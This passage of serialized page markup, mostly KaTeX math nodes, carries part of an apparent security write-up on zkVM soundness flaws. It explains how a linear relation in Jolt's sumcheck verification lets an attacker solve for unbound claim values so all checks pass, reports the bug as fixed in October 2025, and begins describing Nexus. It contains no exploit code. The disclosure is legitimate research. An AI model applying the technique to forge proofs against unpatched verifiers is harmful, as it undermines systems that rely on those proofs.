hildren":8113},{"className":8112,"style":2066},[337],[],{"type":25,"tag":271,"props":8115,"children":8117},{"className":8116},[285],[8118,8122],{"type":25,"tag":271,"props":8119,"children":8121},{"className":8120,"style":3320},[290],[],{"type":25,"tag":271,"props":8123,"children":8125},{"className":8124},[296],[8126,8131],{"type":25,"tag":271,"props":8127,"children":8129},{"className":8128,"style":1052},[296,297],[8130],{"type":30,"value":1055},{"type":25,"tag":271,"props":8132,"children":8134},{"className":8133},[982],[8135],{"type":25,"tag":271,"props":8136,"children":8138},{"className":8137},[987,1100],[8139,8168],{"type":25,"tag":271,"props":8140,"children":8142},{"className":8141},[992],[8143,8163],{"type":25,"tag":271,"props":8144,"children":8146},{"className":8145,"style":1918},[997],[8147],{"type":25,"tag":271,"props":8148,"children":8149},{"style":2750},[8150,8154],{"type":25,"tag":271,"props":8151,"children":8153},{"className":8152,"style":1008},[1007],[],{"type":25,"tag":271,"props":8155,"children":8157},{"className":8156},[1013,1014,1015,1016],[8158],{"type":25,"tag":271,"props":8159,"children":8161},{"className":8160},[296,297,1016],[8162],{"type":30,"value":1937},{"type":25,"tag":271,"props":8164,"children":8166},{"className":8165},[1177],[8167],{"type":30,"value":1180},{"type":25,"tag":271,"props":8169,"children":8171},{"className":8170},[992],[8172],{"type":25,"tag":271,"props":8173,"children":8175},{"className":8174,"style":1619},[997],[8176],{"type":25,"tag":271,"props":8177,"children":8178},{},[],{"type":25,"tag":26,"props":8180,"children":8181},{},[8182,8184,8261,8263,8268,8270,8347,8349,8426,8428,8505],{"type":30,"value":8183},"where ",{"type":25,"tag":264,"props":8185,"children":8187},{"className":8186},[267,268],[8188],{"type":25,"tag":271,"props":8189,"children":8191},{"className":8190},[274],[8192],{"type":25,"tag":271,"props":8193,"children":8195},{"className":8194,"ariaHidden":280},[279],[8196],{"type":25,"tag":271,"props":8197,"children":8199},{"className":8198},[285],[8200,8204],{"type":25,"tag":271,"props":8201,"children":8203},{"className":8202,"style":2287},[290],[],{"type":25,"tag":271,"props":8205,"children":8207},{"className":8206},[296],[8208,8213],{"type":25,"tag":271,"props":8209,"children":8211},{"className":8210,"style":7431},[296,297],[8212],{"type":30,"value":7434},{"type":25,"tag":271,"props":8214,"children":8216},{"className":8215},[982],[8217],{"type":25,"tag":271,"props":8218,"children":8220},{"className":8219},[987,1100],[8221,8250],{"type":25,"tag":271,"props":8222,"children":8224},{"className":8223},[992],[8225,8245],{"type":25,"tag":271,"props":8226,"children":8228},{"className":8227,"style":1918},[997],[8229],{"type":25,"tag":271,"props":8230,"children":8231},{"style":8070},[8232,8236],{"type":25,"tag":271,"props":8233,"children":8235},{"className":8234,"style":1008},[1007],[],{"type":25,"tag":271,"props":8237,"children":8239},{"className":8238},[1013,1014,1015,1016],[8240],{"type":25,"tag":271,"props":8241,"children":8243},{"className":8242},[296,297,1016],[8244],{"type":30,"value":1937},{"type":25,"tag":271,"props":8246,"children":8248},{"className":8247},[1177],[8249],{"type":30,"value":1180},{"type":25,"tag":271,"props":8251,"children":8253},{"className":8252},[992],[8254],{"type":25,"tag":271,"props":8255,"children":8257},{"className":8256,"style":1619},[997],[8258],{"type":25,"tag":271,"props":8259,"children":8260},{},[],{"type":30,"value":8262}," are random coefficients derived from the transcript. Since ",{"type":25,"tag":264,"props":8264,"children":8266},{"className":8265},[],[8267],{"type":30,"value":7811},{"type":30,"value":8269}," (containing ",{"type":25,"tag":264,"props":8271,"children":8273},{"className":8272},[267,268],[8274],{"type":25,"tag":271,"props":8275,"children":8277},{"className":8276},[274],[8278],{"type":25,"tag":271,"props":8279,"children":8281},{"className":8280,"ariaHidden":280},[279],[8282],{"type":25,"tag":271,"props":8283,"children":8285},{"className":8284},[285],[8286,8290],{"type":25,"tag":271,"props":8287,"children":8289},{"className":8288,"style":3320},[290],[],{"type":25,"tag":271,"props":8291,"children":8293},{"className":8292},[296],[8294,8299],{"type":25,"tag":271,"props":8295,"children":8297},{"className":8296,"style":1052},[296,297],[8298],{"type":30,"value":1055},{"type":25,"tag":271,"props":8300,"children":8302},{"className":8301},[982],[8303],{"type":25,"tag":271,"props":8304,"children":8306},{"className":8305},[987,1100],[8307,8336],{"type":25,"tag":271,"props":8308,"children":8310},{"className":8309},[992],[8311,8331],{"type":25,"tag":271,"props":8312,"children":8314},{"className":8313,"style":1918},[997],[8315],{"type":25,"tag":271,"props":8316,"children":8317},{"style":2750},[8318,8322],{"type":25,"tag":271,"props":8319,"children":8321},{"className":8320,"style":1008},[1007],[],{"type":25,"tag":271,"props":8323,"children":8325},{"className":8324},[1013,1014,1015,1016],[8326],{"type":25,"tag":271,"props":8327,"children":8329},{"className":8328},[296,297,1016],[8330],{"type":30,"value":1937},{"type":25,"tag":271,"props":8332,"children":8334},{"className":8333},[1177],[8335],{"type":30,"value":1180},{"type":25,"tag":271,"props":8337,"children":8339},{"className":8338},[992],[8340],{"type":25,"tag":271,"props":8341,"children":8343},{"className":8342,"style":1619},[997],[8344],{"type":25,"tag":271,"props":8345,"children":8346},{},[],{"type":30,"value":8348},") were not in the transcript, the ",{"type":25,"tag":264,"props":8350,"children":8352},{"className":8351},[267,268],[8353],{"type":25,"tag":271,"props":8354,"children":8356},{"className":8355},[274],[8357],{"type":25,"tag":271,"props":8358,"children":8360},{"className":8359,"ariaHidden":280},[279],[8361],{"type":25,"tag":271,"props":8362,"children":8364},{"className":8363},[285],[8365,8369],{"type":25,"tag":271,"props":8366,"children":8368},{"className":8367,"style":2287},[290],[],{"type":25,"tag":271,"props":8370,"children":8372},{"className":8371},[296],[8373,8378],{"type":25,"tag":271,"props":8374,"children":8376},{"className":8375,"style":7431},[296,297],[8377],{"type":30,"value":7434},{"type":25,"tag":271,"props":8379,"children":8381},{"className":8380},[982],[8382],{"type":25,"tag":271,"props":8383,"children":8385},{"className":8384},[987,1100],[8386,8415],{"type":25,"tag":271,"props":8387,"children":8389},{"className":8388},[992],[8390,8410],{"type":25,"tag":271,"props":8391,"children":8393},{"className":8392,"style":1918},[997],[8394],{"type":25,"tag":271,"props":8395,"children":8396},{"style":8070},[8397,8401],{"type":25,"tag":271,"props":8398,"children":8400},{"className":8399,"style":1008},[1007],[],{"type":25,"tag":271,"props":8402,"children":8404},{"className":8403},[1013,1014,1015,1016],[8405],{"type":25,"tag":271,"props":8406,"children":8408},{"className":8407},[296,297,1016],[8409],{"type":30,"value":1937},{"type":25,"tag":271,"props":8411,"children":8413},{"className":8412},[1177],[8414],{"type":30,"value":1180},{"type":25,"tag":271,"props":8416,"children":8418},{"className":8417},[992],[8419],{"type":25,"tag":271,"props":8420,"children":8422},{"className":8421,"style":1619},[997],[8423],{"type":25,"tag":271,"props":8424,"children":8425},{},[],{"type":30,"value":8427}," values are independent of ",{"type":25,"tag":264,"props":8429,"children":8431},{"className":8430},[267,268],[8432],{"type":25,"tag":271,"props":8433,"children":8435},{"className":8434},[274],[8436],{"type":25,"tag":271,"props":8437,"children":8439},{"className":8438,"ariaHidden":280},[279],[8440],{"type":25,"tag":271,"props":8441,"children":8443},{"className":8442},[285],[8444,8448],{"type":25,"tag":271,"props":8445,"children":8447},{"className":8446,"style":3320},[290],[],{"type":25,"tag":271,"props":8449,"children":8451},{"className":8450},[296],[8452,8457],{"type":25,"tag":271,"props":8453,"children":8455},{"className":8454,"style":1052},[296,297],[8456],{"type":30,"value":1055},{"type":25,"tag":271,"props":8458,"children":8460},{"className":8459},[982],[8461],{"type":25,"tag":271,"props":8462,"children":8464},{"className":8463},[987,1100],[8465,8494],{"type":25,"tag":271,"props":8466,"children":8468},{"className":8467},[992],[8469,8489],{"type":25,"tag":271,"props":8470,"children":8472},{"className":8471,"style":1918},[997],[8473],{"type":25,"tag":271,"props":8474,"children":8475},{"style":2750},[8476,8480],{"type":25,"tag":271,"props":8477,"children":8479},{"className":8478,"style":1008},[1007],[],{"type":25,"tag":271,"props":8481,"children":8483},{"className":8482},[1013,1014,1015,1016],[8484],{"type":25,"tag":271,"props":8485,"children":8487},{"className":8486},[296,297,1016],[8488],{"type":30,"value":1937},{"type":25,"tag":271,"props":8490,"children":8492},{"className":8491},[1177],[8493],{"type":30,"value":1180},{"type":25,"tag":271,"props":8495,"children":8497},{"className":8496},[992],[8498],{"type":25,"tag":271,"props":8499,"children":8501},{"className":8500,"style":1619},[997],[8502],{"type":25,"tag":271,"props":8503,"children":8504},{},[],{"type":30,"value":1860},{"type":25,"tag":26,"props":8507,"children":8508},{},[8509],{"type":25,"tag":38,"props":8510,"children":8511},{},[8512],{"type":30,"value":8513},"Why it's linear:",{"type":25,"tag":26,"props":8515,"children":8516},{},[8517,8519],{"type":30,"value":8518},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":25,"tag":264,"props":8520,"children":8522},{"className":8521},[267,268],[8523],{"type":25,"tag":271,"props":8524,"children":8526},{"className":8525},[274],[8527],{"type":25,"tag":271,"props":8528,"children":8530},{"className":8529,"ariaHidden":280},[279],[8531],{"type":25,"tag":271,"props":8532,"children":8534},{"className":8533},[285],[8535,8539],{"type":25,"tag":271,"props":8536,"children":8538},{"className":8537,"style":291},[290],[],{"type":25,"tag":271,"props":8540,"children":8542},{"className":8541,"style":1052},[296,297],[8543],{"type":30,"value":1055},{"type":25,"tag":26,"props":8545,"children":8546},{},[8547],{"type":25,"tag":264,"props":8548,"children":8550},{"className":8549},[267,268],[8551],{"type":25,"tag":271,"props":8552,"children":8554},{"className":8553},[274],[8555],{"type":25,"tag":271,"props":8556,"children":8558},{"className":8557,"ariaHidden":280},[279],[8559,8650,8676,8702],{"type":25,"tag":271,"props":8560,"children":8562},{"className":8561},[285],[8563,8567,8637,8641,8646],{"type":25,"tag":271,"props":8564,"children":8566},{"className":8565,"style":3320},[290],[],{"type":25,"tag":271,"props":8568,"children":8570},{"className":8569},[296],[8571,8578],{"type":25,"tag":271,"props":8572,"children":8575},{"className":8573,"style":8574},[296,297],"margin-right:0.07153em;",[8576],{"type":30,"value":8577},"C",{"type":25,"tag":271,"props":8579,"children":8581},{"className":8580},[982],[8582],{"type":25,"tag":271,"props":8583,"children":8585},{"className":8584},[987,1100],[8586,8626],{"type":25,"tag":271,"props":8587,"children":8589},{"className":8588},[992],[8590,8621],{"type":25,"tag":271,"props":8591,"children":8594},{"className":8592,"style":8593},[997],"height:0.3361em;",[8595],{"type":25,"tag":271,"props":8596,"children":8598},{"style":8597},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[8599,8603],{"type":25,"tag":271,"props":8600,"children":8602},{"className":8601,"style":1008},[1007],[],{"type":25,"tag":271,"props":8604,"children":8606},{"className":8605},[1013,1014,1015,1016],[8607],{"type":25,"tag":271,"props":8608,"children":8610},{"className":8609},[296,1016],[8611],{"type":25,"tag":271,"props":8612,"children":8614},{"className":8613},[296,30,1016],[8615],{"type":25,"tag":271,"props":8616,"children":8618},{"className":8617},[296,1016],[8619],{"type":30,"value":8620},"final",{"type":25,"tag":271,"props":8622,"children":8624},{"className":8623},[1177],[8625],{"type":30,"value":1180},{"type":25,"tag":271,"props":8627,"children":8629},{"className":8628},[992],[8630],{"type":25,"tag":271,"props":8631,"children":8633},{"className":8632,"style":1619},[997],[8634],{"type":25,"tag":271,"props":8635,"children":8636},{},[],{"type":25,"tag":271,"props":8638,"children":8640},{"className":8639,"style":338},[337],[],{"type":25,"tag":271,"props":8642,"children":8644},{"className":8643},[356],[8645],{"type":30,"value":1065},{"type":25,"tag":271,"props":8647,"children":8649},{"className":8648,"style":338},[337],[],{"type":25,"tag":271,"props":8651,"children":8653},{"className":8652},[285],[8654,8658,8663,8667,8672],{"type":25,"tag":271,"props":8655,"children":8657},{"className":8656,"style":7426},[290],[],{"type":25,"tag":271,"props":8659,"children":8661},{"className":8660},[296,297],[8662],{"type":30,"value":83},{"type":25,"tag":271,"props":8664,"children":8666},{"className":8665,"style":2066},[337],[],{"type":25,"tag":271,"props":8668,"children":8670},{"className":8669},[2071],[8671],{"type":30,"value":3585},{"type":25,"tag":271,"props":8673,"children":8675},{"className":8674,"style":2066},[337],[],{"type":25,"tag":271,"props":8677,"children":8679},{"className":8678},[285],[8680,8684,8689,8693,8698],{"type":25,"tag":271,"props":8681,"children":8683},{"className":8682,"style":7455},[290],[],{"type":25,"tag":271,"props":8685,"children":8687},{"className":8686,"style":1052},[296,297],[8688],{"type":30,"value":1055},{"type":25,"tag":271,"props":8690,"children":8692},{"className":8691,"style":2066},[337],[],{"type":25,"tag":271,"props":8694,"children":8696},{"className":8695},[2071],[8697],{"type":30,"value":2074},{"type":25,"tag":271,"props":8699,"children":8701},{"className":8700,"style":2066},[337],[],{"type":25,"tag":271,"props":8703,"children":8705},{"className":8704},[285],[8706,8710],{"type":25,"tag":271,"props":8707,"children":8709},{"className":8708,"style":326},[290],[],{"type":25,"tag":271,"props":8711,"children":8713},{"className":8712},[296,297],[8714],{"type":30,"value":2508},{"type":25,"tag":26,"props":8716,"children":8717},{},[8718,8719,8758,8760,8785,8787,8918,8920,9041],{"type":30,"value":8183},{"type":25,"tag":264,"props":8720,"children":8722},{"className":8721},[267,268],[8723],{"type":25,"tag":271,"props":8724,"children":8726},{"className":8725},[274],[8727],{"type":25,"tag":271,"props":8728,"children":8730},{"className":8729,"ariaHidden":280},[279],[8731],{"type":25,"tag":271,"props":8732,"children":8734},{"className":8733},[285],[8735,8739,8744,8749,8753],{"type":25,"tag":271,"props":8736,"children":8738},{"className":8737,"style":7398},[290],[],{"type":25,"tag":271,"props":8740,"children":8742},{"className":8741},[296,297],[8743],{"type":30,"value":83},{"type":25,"tag":271,"props":8745,"children":8747},{"className":8746},[404],[8748],{"type":30,"value":407},{"type":25,"tag":271,"props":8750,"children":8752},{"className":8751,"style":411},[337],[],{"type":25,"tag":271,"props":8754,"children":8756},{"className":8755},[296,297],[8757],{"type":30,"value":2508},{"type":30,"value":8759}," are determined by the transcript (independent of ",{"type":25,"tag":264,"props":8761,"children":8763},{"className":8762},[267,268],[8764],{"type":25,"tag":271,"props":8765,"children":8767},{"className":8766},[274],[8768],{"type":25,"tag":271,"props":8769,"children":8771},{"className":8770,"ariaHidden":280},[279],[8772],{"type":25,"tag":271,"props":8773,"children":8775},{"className":8774},[285],[8776,8780],{"type":25,"tag":271,"props":8777,"children":8779},{"className":8778,"style":291},[290],[],{"type":25,"tag":271,"props":8781,"children":8783},{"className":8782,"style":1052},[296,297],[8784],{"type":30,"value":1055},{"type":30,"value":8786},"). The verifier checks that ",{"type":25,"tag":264,"props":8788,"children":8790},{"className":8789},[267,268],[8791],{"type":25,"tag":271,"props":8792,"children":8794},{"className":8793},[274],[8795],{"type":25,"tag":271,"props":8796,"children":8798},{"className":8797,"ariaHidden":280},[279],[8799,8885],{"type":25,"tag":271,"props":8800,"children":8802},{"className":8801},[285],[8803,8807,8872,8876,8881],{"type":25,"tag":271,"props":8804,"children":8806},{"className":8805,"style":3320},[290],[],{"type":25,"tag":271,"props":8808,"children":8810},{"className":8809},[296],[8811,8816],{"type":25,"tag":271,"props":8812,"children":8814},{"className":8813,"style":8574},[296,297],[8815],{"type":30,"value":8577},{"type":25,"tag":271,"props":8817,"children":8819},{"className":8818},[982],[8820],{"type":25,"tag":271,"props":8821,"children":8823},{"className":8822},[987,1100],[8824,8861],{"type":25,"tag":271,"props":8825,"children":8827},{"className":8826},[992],[8828,8856],{"type":25,"tag":271,"props":8829,"children":8831},{"className":8830,"style":8593},[997],[8832],{"type":25,"tag":271,"props":8833,"children":8834},{"style":8597},[8835,8839],{"type":25,"tag":271,"props":8836,"children":8838},{"className":8837,"style":1008},[1007],[],{"type":25,"tag":271,"props":8840,"children":8842},{"className":8841},[1013,1014,1015,1016],[8843],{"type":25,"tag":271,"props":8844,"children":8846},{"className":8845},[296,1016],[8847],{"type":25,"tag":271,"props":8848,"children":8850},{"className":8849},[296,30,1016],[8851],{"type":25,"tag":271,"props":8852,"children":8854},{"className":8853},[296,1016],[8855],{"type":30,"value":8620},{"type":25,"tag":271,"props":8857,"children":8859},{"className":8858},[1177],[8860],{"type":30,"value":1180},{"type":25,"tag":271,"props":8862,"children":8864},{"className":8863},[992],[8865],{"type":25,"tag":271,"props":8866,"children":8868},{"className":8867,"style":1619},[997],[8869],{"type":25,"tag":271,"props":8870,"children":8871},{},[],{"type":25,"tag":271,"props":8873,"children":8875},{"className":8874,"style":338},[337],[],{"type":25,"tag":271,"props":8877,"children":8879},{"className":8878},[356],[8880],{"type":30,"value":1065},{"type":25,"tag":271,"props":8882,"children":8884},{"className":8883,"style":338},[337],[],{"type":25,"tag":271,"props":8886,"children":8888},{"className":8887},[285],[8889,8893,8903,8908],{"type":25,"tag":271,"props":8890,"children":8892},{"className":8891,"style":6417},[290],[],{"type":25,"tag":271,"props":8894,"children":8896},{"className":8895},[296,30],[8897],{"type":25,"tag":271,"props":8898,"children":8900},{"className":8899},[296],[8901],{"type":30,"value":8902},"expected",{"type":25,"tag":271,"props":8904,"children":8906},{"className":8905,"style":2296},[296],[8907],{"type":30,"value":6434},{"type":25,"tag":271,"props":8909,"children":8911},{"className":8910},[296,30],[8912],{"type":25,"tag":271,"props":8913,"children":8915},{"className":8914},[296],[8916],{"type":30,"value":8917},"eval",{"type":30,"value":8919}," (from PCS opening), this becomes ",{"type":25,"tag":264,"props":8921,"children":8923},{"className":8922},[267,268],[8924],{"type":25,"tag":271,"props":8925,"children":8927},{"className":8926},[274],[8928],{"type":25,"tag":271,"props":8929,"children":8931},{"className":8930,"ariaHidden":280},[279],[8932,8958,8984,9010],{"type":25,"tag":271,"props":8933,"children":8935},{"className":8934},[285],[8936,8940,8945,8949,8954],{"type":25,"tag":271,"props":8937,"children":8939},{"className":8938,"style":7426},[290],[],{"type":25,"tag":271,"props":8941,"children":8943},{"className":8942},[296,297],[8944],{"type":30,"value":83},{"type":25,"tag":271,"props":8946,"children":8948},{"className":8947,"style":2066},[337],[],{"type":25,"tag":271,"props":8950,"children":8952},{"className":8951},[2071],[8953],{"type":30,"value":3585},{"type":25,"tag":271,"props":8955,"children":8957},{"className":8956,"style":2066},[337],[],{"type":25,"tag":271,"props":8959,"children":8961},{"className":8960},[285],[8962,8966,8971,8975,8980],{"type":25,"tag":271,"props":8963,"children":8965},{"className":8964,"style":7455},[290],[],{"type":25,"tag":271,"props":8967,"children":8969},{"className":8968,"style":1052},[296,297],[8970],{"type":30,"value":1055},{"type":25,"tag":271,"props":8972,"children":8974},{"className":8973,"style":2066},[337],[],{"type":25,"tag":271,"props":8976,"children":8978},{"className":8977},[2071],[8979],{"type":30,"value":2074},{"type":25,"tag":271,"props":8981,"children":8983},{"className":8982,"style":2066},[337],[],{"type":25,"tag":271,"props":8985,"children":8987},{"className":8986},[285],[8988,8992,8997,9001,9006],{"type":25,"tag":271,"props":8989,"children":8991},{"className":8990,"style":326},[290],[],{"type":25,"tag":271,"props":8993,"children":8995},{"className":8994},[296,297],[8996],{"type":30,"value":2508},{"type":25,"tag":271,"props":8998,"children":9000},{"className":8999,"style":338},[337],[],{"type":25,"tag":271,"props":9002,"children":9004},{"className":9003},[356],[9005],{"type":30,"value":1065},{"type":25,"tag":271,"props":9007,"children":9009},{"className":9008,"style":338},[337],[],{"type":25,"tag":271,"props":9011,"children":9013},{"className":9012},[285],[9014,9018,9027,9032],{"type":25,"tag":271,"props":9015,"children":9017},{"className":9016,"style":6417},[290],[],{"type":25,"tag":271,"props":9019,"children":9021},{"className":9020},[296,30],[9022],{"type":25,"tag":271,"props":9023,"children":9025},{"className":9024},[296],[9026],{"type":30,"value":8902},{"type":25,"tag":271,"props":9028,"children":9030},{"className":9029,"style":2296},[296],[9031],{"type":30,"value":6434},{"type":25,"tag":271,"props":9033,"children":9035},{"className":9034},[296,30],[9036],{"type":25,"tag":271,"props":9037,"children":9039},{"className":9038},[296],[9040],{"type":30,"value":8917},{"type":30,"value":1860},{"type":25,"tag":26,"props":9043,"children":9044},{},[9045],{"type":30,"value":9046},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":25,"tag":26,"props":9048,"children":9049},{},[9050],{"type":30,"value":9051},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":25,"tag":26,"props":9053,"children":9054},{},[9055,9060,9062],{"type":25,"tag":38,"props":9056,"children":9057},{},[9058],{"type":30,"value":9059},"Status:",{"type":30,"value":9061}," Fixed on October 3, 2025 via ",{"type":25,"tag":83,"props":9063,"children":9067},{"href":9064,"rel":9065},"https://github.com/a16z/jolt/pull/981",[9066],"nofollow",[9068],{"type":30,"value":9069},"PR #981",{"type":25,"tag":92,"props":9071,"children":9072},{},[],{"type":25,"tag":247,"props":9074,"children":9076},{"id":9075},"nexus",[9077],{"type":30,"value":49},{"type":25,"tag":26,"props":9079,"children":9080},{},[9081],{"type":30,"value":9082},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":25,"tag":26,"props":9084,"children":9085},{},[9086,9088,9093],{"type":30,"value":9087},"Nexus splits verification into ",{"type":25,"tag":38,"props":9089,"children":9090},{},[9091],{"type":30,"value":9092},"components",{"type":30,"value":9094}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":25,"tag":26,"props":9096,"children":9097},{},[9098,9100,9105],{"type":30,"value":9099},"Each component emits and consumes lookup tuples. The component's ",{"type":25,"tag":264,"props":9101,"children":9103},{"className":9102},[],[9104],{"type":30,"value":7206},{"type":30,"value":9106}," summarizes its net contribution:",{"type":25,"tag":26,"props":9108,"children":9109},{},[9110],{"type":25,"tag":264,"props":9111,"children":9113},{"className":9112},[267,268],[9114],{"type":25,"tag":271,"props":9115,"children":9117},{"className":9116},[274],[9118],{"type":25,"tag":271,"props":9119,"children":9121},{"className":9120,"ariaHidden":280},[279],[9122,9218,9467],{"type":25,"tag":271,"props":9123,"children":9125},{"className":9124},[285],[9126,9130,9139,9144,9205,9209,9214],{"type":25,"tag":271,"props":9127,"children":9129},{"className":9128,"style":6417},[290],[],{"type":25,"tag":271,"props":9131,"children":9133},{"className":9132},[296,30],[9134],{"type":25,"tag":271,"props":9135,"children":9137},{"className":9136},[296],[9138],{"type":30,"value":6428},{"type":25,"tag":271,"props":9140,"children":9142},{"className":9141,"style":2296},[296],[9143],{"type":30,"value":6434},{"type":25,"tag":271,"props":9145,"children":9147},{"className":9146},[296],[9148,9157],{"type":25,"tag":271,"props":9149,"children":9151},{"className":9150},[296,30],[9152],{"type":25,"tag":271,"props":9153,"children":9155},{"className":9154},[296],[9156],{"type":30,"value":6448},{"type":25,"tag":271,"props":9158,"children":9160},{"className":9159},[982],[9161],{"type":25,"tag":271,"props":9162,"children":9164},{"className":9163},[987,1100],[9165,9194],{"type":25,"tag":271,"props":9166,"children":9168},{"className":9167},[992],[9169,9189],{"type":25,"tag":271,"props":9170,"children":9172},{"className":9171,"style":1918},[997],[9173],{"type":25,"tag":271,"props":9174,"children":9175},{"style":6467},[9176,9180],{"type":25,"tag":271,"props":9177,"children":9179},{"className":9178,"style":1008},[1007],[],{"type":25,"tag":271,"props":9181,"children":9183},{"className":9182},[1013,1014,1015,1016],[9184],{"type":25,"tag":271,"props":9185,"children":9187},{"className":9186},[296,297,1016],[9188],{"type":30,"value":1937},{"type":25,"tag":271,"props":9190,"children":9192},{"className":9191},[1177],[9193],{"type":30,"value":1180},{"type":25,"tag":271,"props":9195,"children":9197},{"className":9196},[992],[9198],{"type":25,"tag":271,"props":9199,"children":9201},{"className":9200,"style":1619},[997],[9202],{"type":25,"tag":271,"props":9203,"children":9204},{},[],{"type":25,"tag":271,"props":9206,"children":9208},{"className":9207,"style":338},[337],[],{"type":25,"tag":271,"props":9210,"children":9212},{"className":9211},[356],[9213],{"type":30,"value":1065},{"type":25,"tag":271,"props":9215,"children":9217},{"className":9216,"style":338},[337],[],{"type":25,"tag":271,"props":9219,"children":9221},{"className":9220},[285],[9222,9227,9284,9288,9454,9458,9463],{"type":25,"tag":271,"props":9223,"children":9226},{"className":9224,"style":9225},[290],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":25,"tag":271,"props":9228,"children":9230},{"className":9229},[1082],[9231,9236],{"type":25,"tag":271,"props":9232,"children":9234},{"className":9233,"style":1089},[1082,1087,1088],[9235],{"type":30,"value":1092},{"type":25,"tag":271,"props":9237,"children":9239},{"className":9238},[982],[9240],{"type":25,"tag":271,"props":9241,"children":9243},{"className":9242},[987,1100],[9244,9273],{"type":25,"tag":271,"props":9245,"children":9247},{"className":9246},[992],[9248,9268],{"type":25,"tag":271,"props":9249,"children":9251},{"className":9250,"style":6544},[997],[9252],{"type":25,"tag":271,"props":9253,"children":9254},{"style":1113},[9255,9259],{"type":25,"tag":271,"props":9256,"children":9258},{"className":9257,"style":1008},[1007],[],{"type":25,"tag":271,"props":9260,"children":9262},{"className":9261},[1013,1014,1015,1016],[9263],{"type":25,"tag":271,"props":9264,"children":9266},{"className":9265,"style":6560},[296,297,1016],[9267],{"type":30,"value":6563},{"type":25,"tag":271,"props":9269,"children":9271},{"className":9270},[1177],[9272],{"type":30,"value":1180},{"type":25,"tag":271,"props":9274,"children":9276},{"className":9275},[992],[9277],{"type":25,"tag":271,"props":9278,"children":9280},{"className":9279,"style":6576},[997],[9281],{"type":25,"tag":271,"props":9282,"children":9283},{},[],{"type":25,"tag":271,"props":9285,"children":9287},{"className":9286,"style":411},[337],[],{"type":25,"tag":271,"props":9289,"children":9291},{"className":9290},[296],[9292,9296,9450],{"type":25,"tag":271,"props":9293,"children":9295},{"className":9294},[391,5850],[],{"type":25,"tag":271,"props":9297,"children":9299},{"className":9298},[5855],[9300],{"type":25,"tag":271,"props":9301,"children":9303},{"className":9302},[987,1100],[9304,9438],{"type":25,"tag":271,"props":9305,"children":9307},{"className":9306},[992],[9308,9433],{"type":25,"tag":271,"props":9309,"children":9311},{"className":9310,"style":5868},[997],[9312,9402,9413],{"type":25,"tag":271,"props":9313,"children":9314},{"style":5872},[9315,9319],{"type":25,"tag":271,"props":9316,"children":9318},{"className":9317,"style":4495},[1007],[],{"type":25,"tag":271,"props":9320,"children":9322},{"className":9321},[1013,1014,1015,1016],[9323],{"type":25,"tag":271,"props":9324,"children":9326},{"className":9325},[296,1016],[9327,9332,9337],{"type":25,"tag":271,"props":9328,"children":9330},{"className":9329,"style":5889},[296,297,1016],[9331],{"type":30,"value":5892},{"type":25,"tag":271,"props":9333,"children":9335},{"className":9334},[2071,1016],[9336],{"type":30,"value":2774},{"type":25,"tag":271,"props":9338,"children":9340},{"className":9339},[296,1016],[9341,9351],{"type":25,"tag":271,"props":9342,"children":9344},{"className":9343},[296,30,1016],[9345],{"type":25,"tag":271,"props":9346,"children":9348},{"className":9347},[296,1016],[9349],{"type":30,"value":9350},"produced",{"type":25,"tag":271,"props":9352,"children":9354},{"className":9353},[982],[9355],{"type":25,"tag":271,"props":9356,"children":9358},{"className":9357},[987,1100],[9359,9390],{"type":25,"tag":271,"props":9360,"children":9362},{"className":9361},[992],[9363,9385],{"type":25,"tag":271,"props":9364,"children":9367},{"className":9365,"style":9366},[997],"height:0.2052em;",[9368],{"type":25,"tag":271,"props":9369,"children":9371},{"style":9370},"top:-2.2341em;margin-right:0.0714em;",[9372,9376],{"type":25,"tag":271,"props":9373,"children":9375},{"className":9374,"style":1161},[1007],[],{"type":25,"tag":271,"props":9377,"children":9379},{"className":9378},[1013,1166,1167,1016],[9380],{"type":25,"tag":271,"props":9381,"children":9383},{"className":9382,"style":6560},[296,297,1016],[9384],{"type":30,"value":6563},{"type":25,"tag":271,"props":9386,"children":9388},{"className":9387},[1177],[9389],{"type":30,"value":1180},{"type":25,"tag":271,"props":9391,"children":9393},{"className":9392},[992],[9394],{"type":25,"tag":271,"props":9395,"children":9398},{"className":9396,"style":9397},[997],"height:0.4048em;",[9399],{"type":25,"tag":271,"props":9400,"children":9401},{},[],{"type":25,"tag":271,"props":9403,"children":9404},{"style":5905},[9405,9409],{"type":25,"tag":271,"props":9406,"children":9408},{"className":9407,"style":4495},[1007],[],{"type":25,"tag":271,"props":9410,"children":9412},{"className":9411,"style":5915},[5914],[],{"type":25,"tag":271,"props":9414,"children":9415},{"style":5919},[9416,9420],{"type":25,"tag":271,"props":9417,"children":9419},{"className":9418,"style":4495},[1007],[],{"type":25,"tag":271,"props":9421,"children":9423},{"className":9422},[1013,1014,1015,1016],[9424],{"type":25,"tag":271,"props":9425,"children":9427},{"className":9426},[296,1016],[9428],{"type":25,"tag":271,"props":9429,"children":9431},{"className":9430},[296,1016],[9432],{"type":30,"value":968},{"type":25,"tag":271,"props":9434,"children":9436},{"className":9435},[1177],[9437],{"type":30,"value":1180},{"type":25,"tag":271,"props":9439,"children":9441},{"className":9440},[992],[9442],{"type":25,"tag":271,"props":9443,"children":9446},{"className":9444,"style":9445},[997],"height:0.6283em;",[9447],{"type":25,"tag":271,"props":9448,"children":9449},{},[],{"type":25,"tag":271,"props":9451,"children":9453},{"className":9452},[437,5850],[],{"type":25,"tag":271,"props":9455,"children":9457},{"className":9456,"style":2066},[337],[],{"type":25,"tag":271,"props":9459,"children":9461},{"className":9460},[2071],[9462],{"type":30,"value":2774},{"type":25,"tag":271,"props":9464,"children":9466},{"className":9465,"style":2066},[337],[],{"type":25,"tag":271,"props":9468,"children":9470},{"className":9469},[285],[9471,9475,9532,9536],{"type":25,"tag":271,"props":9472,"children":9474},{"className":9473,"style":6771},[290],[],{"type":25,"tag":271,"props":9476,"children":9478},{"className":9477},[1082],[9479,9484],{"type":25,"tag":271,"props":9480,"children":9482},{"className":9481,"style":1089},[1082,1087,1088],[9483],{"type":30,"value":1092},{"type":25,"tag":271,"props":9485,"children":9487},{"className":9486},[982],[9488